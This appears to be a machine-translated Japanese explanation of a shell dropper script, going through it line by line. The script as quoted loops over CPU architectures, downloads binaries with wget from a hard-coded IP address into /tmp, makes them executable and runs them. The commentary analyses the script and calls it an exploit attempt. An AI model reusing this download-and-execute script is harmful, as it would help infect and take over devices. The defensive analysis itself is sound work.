行ごと:
#!/bin/sh
sh
を確立します シェル、それがどちらであっても、シバンラインとして。 sh%20/tmp/ks
リクエスト内の はこれをオーバーライドするため、この行は通常のコメントとして扱われ、無視されます。
u="asgknskjdgn"
おそらく他のファイル名との衝突を避けるために、任意の名前を宣言します。 mktemp
だけを使用しない理由がわかりません ですが、すべてのプラットフォームで利用できるわけではありません。
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
いくつかの一般的な CPU アーキテクチャを列挙します。
http_server="80.211.173.159"
http_port=80
エクスプロイトを持つサーバー。
cd /tmp/||cd /var/
Web サーバーがファイルを作成できる可能性が高い場所にディレクトリを変更しようとします。 SELinux は、Web サーバーができることについて、ファイル システムが単独で行うよりもはるかに厳密な規則を適用することで、これに役立つと信じています。
for name in $bin_names
do
各 CPU アーキテクチャについて…
rm -rf $u
以前に試行されたエクスプロイト プログラムを削除します。次の行のため不要なので、無視できます。
cp $SHELL $u
現在のシェル実行可能ファイルをコピーします (/bin/sh
)。次の次の行があるため、無視できます。
chmod 777 $u
全員が新しいファイルに完全にアクセスできるようにします。これは wget
の後でなければなりませんでした これは、シェル スクリプトの初心者の兆候か、誤った指示のテクニックのいずれかです。
>$u
ファイルを空にします。次の行のために無意味です。
wget http://$http_server:$http_port/$name -O -> $u
このアーキテクチャのエクスプロイト スクリプトでファイルを上書きします。 -O -> $u
-O - > $u
と書かれている可能性があります (ハイフンはダウンロードを標準出力に書き込む必要があることを示します) これは -O $u
と同等です .
./$u $name
アーキテクチャを最初の引数としてエクスプロイト スクリプトを実行します。
done
ループを終了します。
これは、さまざまな CPU プラットフォームに対して既知のエクスプロイトを試みる、ささいなエクスプロイト試行スクリプトのようです。 $u
を上書きする理由がわかりません 3 回実行されますが、これらの操作はスクリプトの以前の繰り返しからそのまま残っている可能性があります。おそらく、以前のバージョンでは、動的に提供されるのではなく、エクスプロイトがハードコードされていました。前者の方が簡単ですが、バグにパッチが適用されるにつれて、スクリプトの効果が低下することはほぼ保証されます.
wget
重要な危険な線です。
for name in $bin_names
プラットフォームのリストを処理し、プラットフォームごとに一時ディレクトリをクリアし、シェルをコピーして、誰でもアクセスできるようにします。
次に、wget
を使用してファイルをダウンロードします。 次に、コピーしたばかりのシェル プログラムを使用して実行します。
このスクリプトは基本的に、可能なすべてのプラットフォーム用の一連の実行可能ファイルまたはスクリプトをダウンロードしようとし、システムをさらに侵害する可能性があることを期待して、それらをシステムにこすりつけます。